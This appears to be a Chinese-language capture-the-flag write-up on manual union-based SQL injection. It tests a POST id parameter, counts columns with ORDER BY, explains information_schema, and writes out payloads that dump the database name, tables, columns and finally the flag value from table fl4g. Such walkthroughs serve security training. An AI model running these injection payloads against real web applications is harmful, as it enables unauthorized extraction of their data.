判断是否存在SQL注入
首先通过简单的输入判断请求方式为post方式,接着f12打开hackbar插件判断是否存在SQL注入(也可直接在题目输入框输入)
- 先输入id=1
- 再输入id=1‘
判断存在SQL注入,进行手工注入,获取数据
- 通过order by语句判断字段数,#作用是注释后面的引号
所以可判断共有四列
information_schema结构 用来存储数据库系统信息
schemata存储数据库名
tables存储表名
columns存储字段名
关键字段:schema_name:表示数据库名称
table_schema:表示表所属数据库名
table_name:表示所属表的名称
column_name:表示字段名
-
通过union联合查询,查询数据库名,输入
id=0' union select 1,database(),user(),version()#
-
接着查询表名,
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
-
查询列名,
id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),user(),version()#
-
查询字段的值,得到flag,
id=0' union select 1,(select group_concat(skctf_flag) from fl4g),user(),version()#